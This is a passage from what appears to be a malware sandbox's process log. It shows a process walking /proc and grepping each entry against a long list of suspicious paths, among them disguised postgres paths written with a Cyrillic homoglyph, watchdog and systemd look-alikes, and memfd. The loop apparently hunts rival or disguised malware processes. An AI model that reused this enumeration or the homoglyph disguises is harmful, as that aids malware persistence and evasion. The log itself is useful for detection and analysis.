  2⤵
  PID:1080
- /bin/ls
  ls -latrh /proc/710
  2⤵
  PID:1079
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1082
- /bin/grep
  grep exe
  2⤵
  PID:1085
- /bin/ls
  ls -latrh /proc/716
  2⤵
  PID:1084
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1088
- /bin/grep
  grep exe
  2⤵
  PID:1091
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1090
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1093
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1095
- /bin/grep
  grep exe
  2⤵
  PID:1096
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1098
- /bin/ls
  ls -latrh /proc/747
  2⤵
  PID:1100
- /bin/grep
  grep exe
  2⤵
  PID:1101
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1103
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1105
- /bin/grep
  grep exe
  2⤵
  PID:1106
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1108
- /bin/grep
  grep exe
  2⤵
  PID:1111
- /bin/ls
  ls -latrh /proc/751
  2⤵
  PID:1110
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1113
- /bin/grep
  grep exe
  2⤵
  PID:1116
- /bin/ls
  ls -latrh /proc/752
  2⤵
  PID:1115
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1118
- /bin/grep
  grep exe
  2⤵
  PID:1121
- /bin/ls
  ls -latrh /proc/754
  2⤵
  PID:1120
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1123
- /bin/grep
  grep exe
  2⤵
  PID:1126
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1125
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1128
- /bin/grep
  grep exe
  2⤵
  PID:1131
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1130
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1133
- /bin/grep
  grep exe
  2⤵
  PID:1136
- /bin/ls
  ls -latrh /proc/78
  2⤵
  PID:1135
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1138
- /bin/grep
  grep exe
  2⤵
  PID:1141
- /bin/ls
  ls -latrh /proc/79
  2⤵
  PID:1140
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1143
- /bin/grep
  grep exe
  2⤵
  PID:1146
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1145
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1148
- /bin/grep
  grep exe
  2⤵
  PID:1151
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1150
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1153
- /bin/grep
  grep exe
  2⤵
  PID:1156
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1155
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1158
- /bin/grep
  grep exe
  2⤵
  PID:1161
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1160
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1163
- /bin/grep
  grep exe
  2⤵
  PID:1166
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1165
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1168
- /bin/grep
  grep exe
  2⤵
  PID:1171
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1170
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1176
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1175
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1178
- /bin/grep
  grep exe
  2⤵
  PID:1181
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1180
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1183
- /bin/grep
  grep exe
  2⤵
  PID:1186
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1185
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1188
- /bin/grep
  grep exe
  2⤵
  PID:1191
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1190
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1193
- /bin/grep
  grep exe
  2⤵
  PID:1196
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1195
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1198
- /bin/grep
  grep exe
  2⤵
  PID:1201
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1200
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1203
- /bin/grep
  grep exe
  2⤵
  PID:1206
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1205
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1208
- /bin/grep
  grep exe
  2⤵
  PID:1211
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1210
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1215
- /bin/grep
  grep exe
  2⤵
  PID:1218
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1217
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1220
- /bin/grep
  grep exe
  2⤵
  PID:1224
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1223
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1227
- /bin/grep
  grep exe
  2⤵
  PID:1230
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1229
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1233
- /bin/grep
  grep exe
  2⤵
  PID:1237
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1236
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1239
- /bin/grep
  grep exe
  2⤵
  PID:1243
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1242
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1246
- /bin/grep
  grep exe
  2⤵
  PID:1249
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1248
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1252
- /bin/grep
  grep exe
  2⤵
  PID:1256
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1255
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1258
- /bin/grep
  grep exe
  2⤵
  PID:1262
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1261
- /bin/grep
